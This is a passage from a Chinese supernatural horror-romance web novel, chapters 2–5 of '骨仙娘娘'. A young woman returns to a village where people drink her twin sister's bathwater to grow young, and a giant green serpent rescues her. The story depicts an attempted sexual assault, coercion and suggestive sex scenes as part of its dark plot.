《骨仙娘娘》
第2章 死怪物,还我妈生脸!
我愣坐了半晌,才脑子转过弯想起要接电话。
拿起手机一看,是我妈打过来的!
我不敢再耽搁,赶紧按了接听键。
不出所料,我妈没好气地训了我一顿,审问我为什么接个电话还这么磨蹭。
而她突然给我打电话的原因是——
村里人已经决定好了,阳历四月四号清明节,为我姐姐举办升仙礼。
要我立即买票回去,帮忙准备相关事宜。
我姐姐,就是别人口中的那位、骨仙娘娘——
我叫鸾镜,和姐姐花枝是一对双生花。
我自幼就生活在临山的月阴村,传说我们祖上是九黎族。
而大名鼎鼎的苗族就是我们族分支。
只不过我们这一脉属于最原始的九黎族,苗族在九黎族刚落败时就已经分裂出去了。
因此,苗人善蛊,会操纵虫蛇,我们族也会。
但我们族还掌控了另一种苗人不知道的秘术——长生媚术。
我妈是族里第一千三百代族长,生我和姐姐那天,外面天地失色,狂风暴雨,白昼如夜。
有不少村民都亲眼见到,方圆几十里的蛇都乌泱泱地冒雨往我家围,将我家四面墙围得水泄不通。
我妈在房里疼了一天一夜,才把我和姐姐生下来。
但怪的是,我妈刚生产完,外面的蛇群就退了。
蛇群消失后,还在我家门口留了满地金光灿灿的金珠子。
同一时间,老村长发现我家祖祠供奉的那具白骨消失了,地上只剩下一件原本被白骨披在身上的破旧绣花红嫁衣……
我妈用龟壳卜了一卦,算到我和姐姐之间,有一个就是骨仙转世。
姐姐生来身上就带着一股异香,那香能令男人闻见失去理智,心神荡漾。
我妈怀疑姐姐是骨仙的转世,姐姐出生那天蛇群在门口留金珠子贺喜,就是为了迎接姐姐。
加上姐姐四五岁就学会了控蛇,我七岁那年上山采花却被一条毒蛇咬伤脸毁了容,我妈就更加笃定姐姐是祠堂里供奉的那位骨仙了。
说起那位骨仙的来历,听村里老人家讲,那个骨仙是三百年前被一条大蛇送来族里的。
大蛇和当时的族长做了交易,大蛇在九黎山巅的落枫洞守护月阴村三百年,要骨仙在我家祠堂里受三百年香火。
我和姐姐出生那年,正好是第三百年。
最开始我家祖上也只是中规中矩地用香火供奉她,可后来族里人发现向骨仙许愿,偶尔真能实现一两桩。
于是每年逢年过节,村里人都会积极地组团来上香拜她。
确定姐姐是骨仙转世后,我妈就打起了将姐姐炼成守族仙的主意。
她并没有去落枫洞告知灵蛇骨仙转世成姐姐的事。
只日复一日的给姐姐洗脑,告诉姐姐成为守族仙就能接受族里人香火供奉,长生不老。
而且可以不劳而获,一辈子衣食无忧。
姐姐被妈口中那神仙般的美好生活给迷了眼,自愿放弃上学的机会。
我却因为毁了容,趁机捡了个漏,成为家里唯一有机会接受教育的人。
姐姐刚成年,妈就迫不及待地在族里挑选青壮年男性,夜夜送进姐姐的房中。
姐姐身上的异香让那些男人为之痴迷,那些男人的夸赞声也让姐姐渐渐迷失在了这种事上——
看着姐姐每晚愈发积极去陪伴那些男人,我妈也相当满意地数着手里檀木念珠,口中不停念叨:“要成了、该成了……”
更诡异的是,姐姐每晚与男人欢好后都要沐浴一次。
姐姐的洗身水被母亲分发给村里人,村里凡是喝过姐姐洗身水的男女,都会越变越年轻……
我每年放假回家,都能看见许多张陌生的面孔。
他们个个看起来都只有二十出头,可直觉告诉我,他们顶着的那张脸,根本不属于他们!
姐姐是族中第一美人,而我是村里第一丑女。
我的脸被毒蛇咬毁容后,半张脸都生出了像鬼爪花般的刺青。
打小我妈就厌恶我,我姐姐就瞧不起我。
所幸我在学习方面比较争气,考上大学后靠打零工与奖学金顺利熬完了大学三年。
今年我二十二岁,正在外面跑剧组混实习证明。
我妈催我滚回去参加姐姐升仙仪式,接受过高等教育的我本不该相信这些鬼神乱力的事,可架不住亲眼所见,不得不信。
正好我跟的那个剧组年后休假一个月。
一天后,我趁空闲随便收拾了几件衣服,拉着行李箱坐上了回家的大巴车。
回家第一天,夜里,我听见隔壁姐姐屋里不间断传出令人脸红心跳的声音。
我觉得烦,往耳朵里塞了对耳机。
不记得那种声音是什么时候停下来的,我睡得迷迷糊糊,隐约间,好像听见了门被咯吱推开——
“刚才在花枝房里还不够尽兴吗?这个都动,你还真是重口味。”
“女人嘛,关上灯,都一样。再说她可是个处子,花枝都和咱们来多少次了,腻了都。”
“好啊你老李头,年轻了就是胃口大了,还敢肖想处子之身!”
男人搓搓手,色兮兮的不正经道:“小鸾镜,叔来了——”
我被男人的说话声吵醒,浑浑噩噩睁开眼,正见月光照亮一张陌生的年轻男人脸!
男人流着口水眼神迷离地贼笑着,欺身就朝我扑过来——
“啊——你是谁,放开我,放开我!”我惊恐至极地瞪大双眼,拼命挣扎着。
男人一边淫笑一边用被子捂住我的脸:“小鸾镜,我是你李三叔叔啊。别怕,叔就是喜欢你,想亲亲你……”
李三!
村里那跛脚秃头的老鳏夫李三?!
他怎么变成这个样子了!
“放开我、放开我!”我害怕地哭出声,拼死挣扎。
可拼力气,我根本不是他的对手。
他用被子捂紧我的脸,手却是伸进被子另一边,摸到我腰下不安分撩开我上衣,往我腰间皮肤上摸……
“来啊,小鸾镜,叔会好好疼你的……你姐姐就喜欢叔这么疼她。”
看我挣扎得太厉害,另一个男人跑过来按我的双腿。
我连李三那老秃头一个人都对付不了,此时又来一个人,更是被按得半分都动弹不得了……
闷在脸上的被子让我喘不过气,也喊不出声。
我害怕至极的呜咽哭着,仍旧没有放弃挣扎,像躲毒蛇一样,扭动腰身躲闪他的咸猪手……
“姐、姐……”
我痛苦害怕地拼尽最后一丝力气拒绝他大手的深入,此时此刻只能寄希望于姐姐身上。
可分明只有一墙之隔,我却怎么求救,都得不到一丝回应。
“姐!”我哭哑了嗓子,一口气喘不上来,被闷得几近昏厥。
李三那恶心的声音在头顶得意响起:
“没有用的,你姐姐现在睡得可香了,可没时间管你。小鸾镜,从了叔吧,叔不会亏了你。”
另一道男人声在旁边催促:“老李头你快点,还有我呢!”
“急什么,我这就来。”
“放、放开我,放开……”捂在脸上的被子闷得我喘不上气,我渐渐失去了躲闪反抗的能力……
男人的手无情朝我身下探去,我含泪闭上眼睛,本以为这辈子就这么完了……
危急关头,门外忽然掀起了一阵强劲阴风。
一瞬间,也不知到底发生了什么事,站在床边压着我的两个男人突然被一股神秘力量扔飞了出去。
紧接着就是凄厉两声惨叫,听声音像是从门口传来的。
“蛇、好大的蛇……”
“见鬼了啊!”
我虚弱地一把掀开盖在头上的被子,猛地弹坐起身,恐惧抬眼,竟猝不及防撞进了两束清冷幽深的目光中……
那条庞然大物盘在我的床前,一身透着寒气的鳞甲青光熠熠,身子足有门口那棵百年大槐树的树干那么粗。
高高地耸立身子,微微探头,凑近我,一双暗金竖瞳瞪得我心里发毛。
嘶一声吐出猩红蛇信子,我浑身冷汗的下意识害怕闭眼缩脑袋。
我以为他会吃了我……
可头顶的那条大蛇,却迟迟没有下一步动作。
半分钟后,我壮着胆子睁开眼,猛吞了两口口水,再次抬起视线——
这一次,我看清了它额心的一抹红痕。
瞬间就认出了它!
它就是当年那条恩将仇报,我救了它,它却咬我一口,害我毁容的小青蛇!
情不自禁地抬手,它似有所感应,异常乖顺地低头,给我摸……
而我,反手照着它腮帮子给了它一巴掌!
“死怪物,你还我妈生脸!”
它:“???!”
……
第3章 媚香引蛇
据说在上古时期,我们九黎族的后人天生就会控蛇。
只是传到我们这一代,许多能力我们都失去了。
连控蛇都只能靠祖上传下来的文字记载照着学习。
我小时候跟着姐姐一起学过控蛇术,虽然没成,但好歹练大了胆子。
像毒蛇、蝎子、蟾蜍这种毒物,我敢直接上手抓。
因此那条大青蛇出现在我床头,被我认出的那一刻,我有勇气一巴掌呼上去——
但呼完,我就后悔了。
母亲说过,蛇十丈而成精,二十丈成仙。
夜里我遇见的那条蛇,足有百丈高,是条修炼有成的青色巨蟒……
只要它张嘴,一口就能把我吞下,像嚼小麻花一样把我嚼碎了果腹!
但值得庆幸的是,它并没有当场发怒。
只是怔怔瞪大暗金幽瞳,盯了我良久后,突然低头,吐出猩红长信子。
舔了舔我滚烫脸颊。
张开蛇口吐人言,字字冰冷:“宋鸾镜,你只能是我的!”
那是道年轻且富有磁性的男人嗓音,清若玉磬,优雅悦耳。
但我听完,却莫名浑身冒冷汗。
尔后,青蟒一阵白烟乘雾而去。
我拢紧被子,盖住自己汗如水洗的身体,劫后余生般靠着墙角抖了一夜。
次日我就发了高烧,我母亲在祠堂焚了符纸,又端了碗符水喂我,我的高烧这才慢慢消退。
母亲说,我是误打误撞遇见了过路的仙家,被仙家身上的灵气冲撞到才发了病。
母亲让我不要把撞到蛇仙的事放在心上,毕竟那蛇仙也不是为我来的。
村里人谁不知道,姐姐是骨仙转世。
这些年姐姐修炼长生媚术,眼见着就要功德圆满了,招一些蛇仙狐仙来一睹芳容,也是常有的事。
我这才从母亲口中知道,原来姐姐如今已经不满足于只和普通人类欢好双修了。
她连那些动物仙都敢来之不拒!
下午,我无意路过家里祠堂门口,却依稀听见紧闭门扉的祠堂里传出几道说话声——
“花枝身上的媚香越来越勾人了,还有七天,花枝就能成为我们族真正的守族仙了。”
“落枫洞里的那条蛇仙还不知道花枝就是骨仙的转世,这两年你为了让花枝尽快练成长生媚术,特意引荐那些动物仙来助花枝修炼。
长此以往,万一哪天被那条蛇仙给听到了风声,我们可就全完了啊!”
“虽然只剩七天,我们的大业就成了,花枝成为守族仙就再也离不开我们月阴村了,但昨晚李三可是亲眼见到有条大青蟒在你家里。”
“祖上不是说,落枫洞的那位也是条大青蛇吗?该不会是他下来了吧!”
之后是母亲慢悠悠的回应:
“怕什么,一条青蟒而已,估摸是来找花枝欢好的,花枝身上的香,没有一个男人能抵抗得了,公蛇也不例外。”
“族长,你怎么确定那条蛇,不是落枫洞那条……”
“我们月阴村流传的故事里,送骨仙过来的是条蛇仙,其实大家都错了,那位仙家根本不是蛇仙,它其实是条青龙。”
“青龙?不是青蛇就好,吓得我一夜没睡好!”
“花枝满周岁那年,我特意去落枫洞看过,里面早已经没有龙仙了。想来是得知骨仙已转世的消息后,那条青龙就走了。”
“当初约定的就是三百年,三百年时期已过,它不再庇护我们月阴村,幸好我们还有花枝。”
“有了花枝,我们就能长生不老,一辈子无病无灾哈哈哈——”
长生不老,一辈子无病无灾……
是啊,之前得病快死了的张大伯,去年我见到他时,他已经生龙活虎能够下田赶牛犁地了!
今年也不知道又变成了什么样。
回去的路上,我撞见了面容妖冶媚眼如丝,比去年体态更纤瘦,走起路来分花拂柳的姐姐。
姐姐上身穿着母亲亲手为她做的绣花抹胸,下身是件蓝绿丝绸长裙,云纹裙腰挂在盈盈一握的胯上。
短款抹胸刻意做短,露出雪白优美的腹线,与性感勾人的肚脐。
似水长发用一根银花簪子挽起来,手腕与胯上都挂着象征守堂仙身份的银铃铛。
“姐姐。”我迎上去想抱她,和她亲近。
但她却嗤笑一声,没等我靠近,就一句话寒了我整颗心:“昨晚,我听见了。”
我怔愣在原地,不知所措地傻看着她。
她可是我亲姐姐,怎么能对我的求救置若罔闻呢!
姐姐一贯的高傲,目下无尘地抬了抬下巴:
“鸾镜,你长得这样丑,有人愿意要你,你该开心才对。”
我心痛如绞地攥紧双手,绷直身体,强压怒意扭头要走。
姐姐趁机又说:
“你不会以为赵二哥真会为你这个丑八怪守身如玉吧!
鸾镜,你是村子里最丑的女人,如果求求我,说不定我也会分你一碗圣水。
你喝了,脸上那些丑陋的纹路就能消失了。”
我的脸……我下意识摸摸自己的脸庞,心虚地落荒而逃。
花枝嘴里的赵二哥是村长的儿子,从小和我还有姐姐一起长大。
小时候我在山里被蛇咬毁了容,村里的孩子们嫌我丑,渐渐就疏远了我,甚至言语攻击我的容貌欺负我,骂我是丑鬼转世。
只有赵二哥还一如既往地对我好,会为我挡其他孩子扔过来的石子,帮我驱散那些嘲笑我的孩群。
我去省城上大学头一晚,他还悄悄爬上我的窗户翻进了我屋里,给了我一包零钱,真挚告诉我,他会等我……
我和他之间的那层窗户纸虽然没被捅破,但双方的情意彼此早已了然于心。
去年我回家,看见了村里一半的男人都变得年轻俊朗,孔武有力。
瞧见赵二哥依旧容颜未改的那一刻,我猛松了一口气。
再回省城的前夕,我拉着赵二哥的手第一次任性地祈求他再等我一年,不要喝姐姐的洗身水……
他同意了。
而我之所以不让他喝,是因为我曾亲眼瞧见,喝下姐姐洗身水的那些男人,他们每个月都会像蛇一样蜕一层脸皮——
蜕皮后的新脸,需要继续喝姐姐的洗身水才能长出更年轻的。
可要想得到姐姐的洗身水,只能和姐姐欢好,事后能带一桶回去,给家里人平分。
喝下洗身水的那群人,越来越离不开姐姐。
有的为了得长生,不惜抛妻弃子,也要爬上姐姐的床……
我不想看见赵二哥也沦为那样被欲望支配的人。
回去以后,我满脑子都是姐姐说的那些话。
越想越心里不安,我决定去村长家找赵二哥。
可我站在村长家门口敲了半天的门,也没有人来给我开。
我以为村长和赵二哥出门了,正要离开。
邻居家已经变年轻的徐大妈却嗑着瓜子走出门,靠在门框上朝我阴恻恻地笑了声,意味深长道:“别敲了,他不会给你开门的。”
一股不好的预感油然而生,我惊慌追问:“为什么?”
徐大妈顶着一张三十来岁的秀气脸盘子,眼里却绽着老练的精光,咯咯笑着:“晚上你就知道了。”
晚上……
傍晚,吃过晚饭,我刷完碗,母亲突然沉着脸出现在我的面前,把一只木盆塞进我手里。
“今晚记得给你姐送洗澡水!”
这事我以前也干过,但最近两年母亲可能觉得我年岁大了,再给姐姐送水不合适,所以就没再使唤我干。
今晚不知为什么母亲又提这样的要求,可我一想到昨晚那可怕的一幕幕,姐姐的故意不理会,我就气不打一处来。
转头坐回灶台前,我赌气道:“烧水可以,送水不行,我也老大不小了,万一看到不该看的,多不合适。”
母亲蹙眉为难,想了想,好言好语来哄我:
“镜镜你听话,你姐今晚偏让你送水,你不去她就不肯和人进房。
你也知道,你姐姐现在正是关键阶段,万一出了什么差池,影响升仙。”
要我送水的要求,是我姐提的?
我虽说不乐意,但架不住母亲的软磨硬泡,最终还是不得已妥协,答应给我姐姐送水。
我也想知道,姐姐闹这一出的目的到底是什么。
入夜,姐姐的房里又传来那羞人的娇吟声。
姐姐提前叫了水,我送水过去的时候,房门半敞着,里面的人还在进行中……
连床边的帐子都被一条雪白纤细的手臂给撩起了一部分。
我脚下一停,立马端着水转过身,面红耳赤地站在门槛外不敢往里看。
里面的男人喘着粗气,一次又一次的卖力,床榻咯吱咯吱的摇晃声持续了将近五分钟。
就在我萌生出要走的念头时,屋里的男人突然哎呦叫了声。
随即气喘吁吁道:“小妖精,掐我干什么?是不是觉得,还不够?”
这熟悉的嗓音,顿时惊得我脊背一震!
是赵二哥!
一时间,心里说不上来到底是什么感觉,震惊、失望、痛心……
好几种感情交缠在一起,绞得我心脏疼。
我鬼使神差地转身,只见撩开的帐子里,强健的男人压着肤若凝脂,面若桃花的长发女人,满脸餍足。
姐姐伸手环住男人精健的腰肢,娇滴滴地问男人:“明天还来吗?”
男人二话不说就应下:“来,当然来……小花枝的身体,食骨知髓。”
姐姐的玉指摩挲在男人已经有几分变化的面容上,妖媚轻笑:
“赵二哥,和我在一起,我们一起长生不老。”
男人含情脉脉地握住姐姐指尖,着了迷般贪婪重复:“好,长生不老!”
站在门口的我被眼前这一幕彻底伤透了心,端着水盆就落荒而逃。
跑了没几步还被石头绊了一下,差点把自己摔成落汤鸡。
……
赵二哥知道自己与姐姐的事暴露后,次日特意让邻居张大婶带话,约我傍晚在后山的老槐树下见面。
他来时,手里还拎了个水壶。
“我也不想违背我们之间的承诺,镜镜,我妈病了,很严重,是癌症晚期,只有守族仙能救!”
赵二哥一来就迫不及待的抓住我胳膊解释,我生疏地推开他手,失望低头,勉强笑笑:
“我知道,赵二哥你也有苦衷。”
赵二哥双目通红,状态有些癫狂,不死心又拉住我的手,献宝般拎起手里水壶:
“我已经和我妈商量好了,改天挑个好日子,我妈去你家说咱俩的事!
等你大四实习完,我们马上就结婚,你也别再去省城给人打工了,我们在家生孩子,我养你!”
第4章 姐姐床上的大蛇
我不自在地挣开他,一想起昨夜那一幕幕,我就犯恶心,
“赵二哥、我觉得说亲结婚这种事,你还是应该先征求一下我的意见。”
至少我不觉得自己的人生该被困在大山里沦为生育机器。
哪成想从前温文尔雅的赵二哥一听我这样说,瞬间就暴躁了:
“难怪我妈说女孩子在外面上学久了,心就野了。”
一双嗜血的眸子狠狠瞪着我,他不死心地嘴上示弱:
“镜镜,你还在生我和你姐姐上床了的气?我不爱你姐姐,我只是需要她,你看,我有圣水!”
说着,他扭开水壶盖子,不顾我的意愿强行把水壶往我嘴边送,沙哑的嗓音好似恶鬼的低嚎:
“我专门给你留的,喝下它你的脸就能恢复了,只要你嫁给我,你每个月都有圣水喝,就会越变越漂亮!
妈答应过我,只要你脸上的鬼纹消失,她就同意我们结婚!”
“我不喝!”
我强行推开他送来的水壶,壶里那所谓的圣水被我不知好歹地推洒几滴。
我看着眼前这个愈发陌生的赵二哥,心底升起强烈的恐惧感,这就是喝了姐姐洗澡水的第二个副作用——性情大变!
“赵二哥,说亲就算了,我们之前的约定作废……我接受不了我喜欢的人和我姐姐上过床。”
我尽可能地把话说明白,不想多纠缠,转身就要走。
但身后的男人根本不打算轻易放过我,一把从后抱住我,急吼吼地冲我耳朵喊:
“镜镜我错了,我错了!你别离开我,我爱你啊,从十二岁那年我就打定主意这辈子非你不娶。
你之前不是也对我有意思吗?你怎么能说放手就放手呢!”
粗鲁的动作勒得我胸口疼,我被他此举吓到,疯狂在他怀里挣扎:“赵二哥你放开我,放开我!”
可他却趁这个机会又把水壶送到了我嘴边,失去理智的双目浸血,强迫我喝壶里的东西:
“镜镜你听话,把圣水喝了,反正是你姐姐的洗澡水,你们俩从小一块长大,没什么可嫌的。
把水喝了,你的脸就好了,我们就能结婚了,镜镜,我都是为你好,我逼你也是因为爱你啊!”
“放开我!”
他强势地把水壶抵到我唇边,扑面一股恶臭中夹杂着淡淡的腥气,熏得我差点把中午饭给吐出来。
没人比我更清楚姐姐的洗澡水里都有什么。
而且怪的是,从小到大,所有人都说姐姐的洗澡水里有一种好闻的媚香,只有我每次闻见,会觉得腥臭,犯恶心……
我紧闭唇齿,双手使出吃奶的劲拼命拽着他胳膊不许他把水壶往我嘴里塞。
拉扯间水壶里的洗澡水撒了两汩在我脸上——
我顿觉脸颊火辣辣的两阵剧痛,痛苦地惨叫出声……
“啊——”
一滴洗澡水溅进我嘴里,我控制不住的狠狠推开赵二哥扭头就捂着脸呕吐了起来……
手心湿湿的,从脸上拿下来一看,竟然全是血!
“血、烂了,烂了!”
赵二哥手一滑,水壶掉在地上,看见我血肉模糊的脸,瞪大双眼没出息地拔腿就要跑。
我也被手心的大滩血给吓坏了,本能地哭着去抓赵二哥求救:“我的脸,赵二哥我疼……”
谁知男人为了自保,竟用尽全力狠一把甩开我。
而我脚下正好是个斜坡,斜坡尽头,是悬崖口——
我被他这么一甩,重心不稳地摔下去,身体在地上连滚好几圈,径直滚向无路的断崖……
身体坠崖那一瞬,直涌头颅的失重感冲得我差些晕过去。
我又疼又怕地惨叫出声,整个山谷里都回荡着我的凄厉嗓音。
原以为我这次要被摔个粉身碎骨真要英年早逝了,但,就在我将要做好绝望赴死的准备时,山谷里陡然出现一道破风袭来的声音——
隐约中,我看见一泓青色自雾气腾腾的山谷另一端游弋而来。
庞大的身躯上,青色鳞甲如星辰熠熠,如碧海粼粼。
迅速下坠的失重感冲得我头晕目眩,眼前发黑,加上脸庞的剧痛,让我的神志越来越模糊。
浑浑噩噩间,我的身体好像被一个温暖熟悉的怀抱收拢住。
艰难睁开眼皮,视线上移,只勉强看见一张棱角分明的脸廓,男人高挺的鼻梁,淡粉薄唇,白皙下颌……
及一头被风扬起的飘逸银发。
男人身披青衣,抬手温柔抚在我的后脑勺上。
轻启薄唇,磁性嗓音似山间缓缓流淌的风,神秘且优雅:
“阿鸾,我早就说过,这世上,只有我不会骗你。”
我好像做了个很长的梦,梦里有个穿青衣的古代男人一直在摸我的脸。
临走,还吻了我的唇。
一觉醒来我只觉得我这个梦有点荒唐,分明早就过了少女怀春的阶段,怎么还是会做春梦……
不对,脸!我记得我的脸被赵二哥送来的洗澡水都烧烂了,但为什么现在摸着一点也不疼?
我仓皇翻身下床,提心吊胆地跑到镜子前,鼓起勇气抬眼看镜子里的那张脸——
一刹那,镜子啪的一声翻盖在桌子上。
我摸着自己这张本该形同鬼魅的脸,完全不敢相信刚才看见的那一幕——
我的脸,竟然恢复了!
没有蜕皮,诡异的青纹荡然无存,这还是我第一次看清自己的长相。
和姐姐有六分像,只不过姐姐是狐狸眼,我是桃花眼,我的长相偏清秀,姐姐偏妩媚。
我的脸恢复了,不知道是好事还是坏事。
我清楚这张脸瞒不住妈和姐姐,就把赵二哥逼我喝姐姐洗身水的事向妈坦白了。
妈知道以后,没什么反应,只是去祠堂点了三炷香,拿香头青烟在我脸上熏了两遍。
我看妈没有要怪我的意思,做完仪式后就准备回房。
但妈突然叫住我,破天荒地主动提起我当年被蛇咬毁容的事,言语之中夹杂着内疚自责:
“镜镜,你怪妈吗?这些年妈不是没有想过给你治脸,但你从小就比你姐姐长得好看。
你姐姐是要做守族仙的女人,她才该是村里最漂亮的女人,一个枝头,怎么能开出两朵漂亮的花呢。”
所以,我是被妈折掉的那朵花。
我冲妈抿唇笑笑:“没事妈,你不用说这些,我都懂,现在外面的世界已经很开明了,像我这样脸上有缺陷的女孩有很多,不会被人戴着有色眼镜看待的。”
我妈捻着手里的念珠,闭上眼睛,嘴里喃喃自语:
“很快,还有五天就成了!鸾镜,只要你姐姐顺利做了守族仙,咱们整个村子的人都能长生不老!到时候欠你的,妈一定补偿你!”
我不知道长生不老究竟有什么好,人活一辈子,七八十年的时光难道还不够尝尽世间苦楚的吗?
人还真是个奇怪的物种,有些人宁愿早早了结自己的性命,脱离苦海。
有些人却在拼命追求长生,哪怕堕入无尽深渊。
自从姐姐知道我脸好了后,她就更不愿意搭理我了。
姐姐每晚还是照常带男人回来同房,第三天是村里原来的刘瘸子。
现在已经不瘸了,一张蟾蜍皮的老脸也换成了秀气的二十来岁小伙子脸。
姐姐办事从不避人,门窗大开着,当然也有可能是故意叫给我听的。
似乎这样做,就能向我证明她的魅力比我大一万倍。
第四天,姐姐带回来一个身上披着黑斗篷的魁梧高大、身形陌生男人。
她和那个男人夜里倒不是很激烈,只是偶尔会传出几道哼哼唧唧的声音。
他们不吵人了,我也就没带耳塞,刷着手机睡着了过去。
半夜,我被透过窗缝渗进来的冷风冻醒,想起夜,就披了件外套出了门。
路过姐姐门口的时候,我神使鬼差地往屋内一瞥——
实现看清床上那团巨物时,我一瞬脑子清醒,睡意全无!
烛火在姐姐的床头懒散摇晃,帘帐半撩,我看见姐姐的床上蜷着一条碗口粗的大青蛇。
那青蛇用蛇尾将姐姐赤裸的身体一圈圈紧紧缠绕住,蛇头耷拉在姐姐胸口,还在嘶嘶吐着红杏子。
而姐姐则面红耳赤,醉眼迷离地躺在床上,轻抬玉颈……风骚妩媚。
第5章 人脸蜕皮生蛇鳞
我心惊肉跳地捂住嘴,脑子里一片空白,转头就朝妈的房间跑过去。
“妈、妈……”我吓得边猛拍妈的房门,边不断回头往后看,生怕那条大青蛇追了上来。
房门猛地打开,妈穿戴整齐地站在房间里。
房中无灯,冰冷的月光洒在妈没有表情的容颜上,衬得妈脸上一片诡异的白。
“妈,有蛇!”我拉住妈的手火急火燎地向妈求救。
但妈却冷漠甩开我的手,没好气地训斥我:
“大惊小怪什么!那是蛇仙,特意来找你姐姐双修的,你们之前不是见过吗?”
我们之前见过?
不,不对!那条大青蛇我认得它,不是姐姐身上的这条!
然而,没等我多做解释,妈就推了我一把,严肃命令:
“别惊着了蛇仙,往后这几天,直到你姐姐成为守族仙,都是他来陪你姐姐。
你要是怕死,就不要去你姐姐房外晃悠!免得你姐姐分神,蛇仙怪罪。”
“妈……”
她根本不给我任何插嘴的机会,就砰地一声把我关在了房间外。
我越想越觉得毛骨悚然,妈不许我管这件事,我也就只能乖乖回自己屋里安分待着了。
姐姐自从和蛇仙在一起后,容颜的确变得更妩媚漂亮了……
且听那些取过姐姐洗澡水的村民说,姐姐这几天的洗澡水异香非常,功效更是了得。
以往的洗澡水只会让人变年轻,给人治病。
可最近两天的洗澡水竟能让不孕不育的女人大肚子!
村里的消息传播很快,头一晚发生的事第二天就已经闹得人尽皆知。
因此次日一早,村里那些变年轻的中年女人们就齐齐找上了门。
“我们都听说了!喝下去瞬间就能大肚子,而且老先生把过脉说了,是儿子!”
“把花枝的洗澡水再给我一点吧,我们家那口子好歹在花枝身上出过力。”
“我也想要个儿子,我和我家那口子结婚二十多年,生的全是女娃子,我想要个男娃子傍身,以后好养老。”
对于这些女人的诉求,我妈当即就应了,让我带着那些女人去后院取圣水。
姐姐的洗身水都被储在后院那个大水缸里,女人们一见到水就癫狂了,纷纷凑上去用自带的水壶取水……
“真香啊!真是好东西啊!”
“族长说的没错,骨仙的转世,就是做守族仙的圣体!”
“以后有了守族仙,咱们岂不是想要什么就能有什么……”
更有人直接徒手捧起缸里的洗身水就往嘴里灌,那痴迷的模样,像是入了魔。
我离得远远的,安静等她们打完水心满意足离开。
只有我感觉到,姐姐的洗身水恶臭味更重了吗?
人走完,我拿起木缸盖屏住呼吸重新把水缸盖住,扭头视线落进缸中黑乎乎的水泽里……
里面突然出现一条黑色大蟒!
“啊!”
我惊叫一声,手里缸盖摔落在地。
心有余悸的扭头要跑,转身的那一秒却被身材纤瘦装扮性感的姐姐挡住了去路。
姐姐往水缸里瞟了眼,蹙眉厌恶道:“你看见什么了?”
我猛吞了口口水瑟瑟发抖:“蛇……”
姐姐给了我一记凶狠眼刀:“我看你才像蛇!”弯腰捡起地上的缸盖,她仔细检查了遍水缸,才把缸盖盖上。
“姐,真有蛇……”
我捞住姐姐的手着急想解释,可姐姐再次厌烦的甩开我,拍拍手冷漠道:
“宋鸾镜,你就不该回来。你有什么好装的,表面上厌恶我的洗身水,现在不还是靠着我的洗身水恢复了容貌?”
突然掐住我的下颌,她指尖用力,尖锐的指甲刺破我双腮面皮,眯了眯勾人的狐狸眼,恶狠狠道:
“你休想抢走我的一切,我才是庇佑一族的神明。你这张脸……是偷我的!我讨厌看见你这个样子,你有什么资格,和我长得相似!”
说完,指甲猛一用力,甩开我下颌,也划破了我的脸……
我咬牙忍着脸上火辣辣的疼,眼眶潮湿本来想解释两句,但无意又发现,姐姐胸口生出了之前和我脸上一样的青色鬼纹。
“姐,你身上怎么会有这种青纹?”我疾声问她,她闻言心虚的一把捂住胸口,不领情的转身:“要你管!”
直觉告诉我,这青纹和那条蛇有关。
“姐,你不能再和那条蛇在一起了,它会害了你的!”
就算她讨厌我,从小到大都没给过我好脸色,可她好歹是我的姐姐……
但我没想到,她听完我的话气鼓鼓转身,上来就猛推了我一把,气急败坏地骂道:
“宋鸾镜你怎么不去死!你就是嫉妒我!
我告诉你,等我做了守族仙,我第一个要求就是让妈把你逐出家门!我讨厌看见你这张脸!”
只是因为我和姐姐长得相似,所以她就这么讨厌我吗?
我失落低下头,已经分不清这是第多少次热脸贴冷屁股了。
往后两天,姐姐还是照常和那条大青蛇夜夜缠绵。
可我也发现,姐姐身上的青纹越来越多……
由于姐姐这几天的洗身水效果异常好,村里不少人为了提前抢一壶新鲜圣水,夜里姐姐和蛇仙刚进房,她们就齐刷刷的操着手蹲在我家院门口等着了,一等就是一整宿。
当然这群人里,还包括赵二哥。
我的脸恢复后,妈为了让姐姐安心修炼,不在升仙前出幺蛾子,特意嘱咐我出门要带面纱,不许把脸恢复的事告诉任何人。
因此赵二哥还以为我的脸在烂着,这几天根本不敢出现在我面前。
就连蹲我家墙角都只敢找隐蔽的地方。
姐姐夜里与蛇仙同房完,妈还特意熬了一种带着腥味的中药给姐姐喝。
据说喝了那药,洗身水的功效就能维持得更长,村里那些人便不必每个月都来讨圣水了。
村民们得了姐姐热腾腾的洗身水,个个欢喜得不行,有的还没离开我家大门就咕咚咕咚把水给灌了。
但,这次的洗身水好像并没有达到母亲想要的效果。
天亮,我端着一盆脏衣服去河边清洗,和我一起长大的银杏正好也过去洗衣裳。
看见我,银杏立马凑过来和我蹲在一起,边搓衣裳边问我:“你今天有没有发现哪里和往常不一样?”
我看了眼空荡荡的河两岸:“今天没人来洗衣服,往常这个时间村里大妈们早就过来谈论东家长西家短了。”
银杏默默又往我身边蹲蹲,探头神神秘秘说:“我今早路过张二婶子家的时候,看见张二婶子的脸脱皮了。”
我拎起泡在水里的衣服用力拧干:“姐姐的洗身水只有一个月功效,她昨晚又喝了,今天肯定会蜕皮,应该又年轻了吧?”
银杏嫌弃皱眉:“再年轻就比我还嫩了!是又变好看了,但是我看见,张二婶子脸上长出了怪东西。”
我一惊,心底隐隐泛起不安:“什么怪东西?”
银杏说:“蛇鳞!像蛇鳞一样的怪东西!”
“蛇、蛇鳞?”
“而且不止张二婶子脸上有,刘婶子,许三妈……她们的脸上都有,更怪的是她们自己好像瞧不见。
还有,她们一大早都跟丢了魂一样,我在路边遇见许三妈,和她打招呼她都不理我。
你说她们不会是撞邪吧,我可听别人讲,你姐姐最近还和动物仙同房……”
撞邪……直觉告诉我,肯定和那条大青蛇有关。
银杏提到的这三个人,昨晚上都喝过姐姐的洗身水。
我绷紧神经一把抓住银杏胳膊问:“你喝过我姐姐的洗身水了没?”
银杏避之不及的立即别过头:
“咦——我才没喝过呢,虽然那东西的确有股诱人的香味,可我爸说了,那东西不干净,喝了保不齐哪天就有副作用了。
我爸警告过我,我要是胆敢背着他偷偷讨水喝,他非打死我。
再说你妈定的有规矩呢,得家里有人和你姐姐同过房,才能得到你姐姐的洗身水,我家就只有我和我爸。”
银杏她老爹李大叔不是月阴村本地人,听说李大叔是二十五年前进村落脚的,那时还和我妈谈过两年感情。
只不过让人诟病的是,李大叔当年同我妈都到了谈婚论嫁的地步了,村里老人连婚期都挑好了,李大叔却不知为什么在和我妈成婚前夕,突然悔婚了。
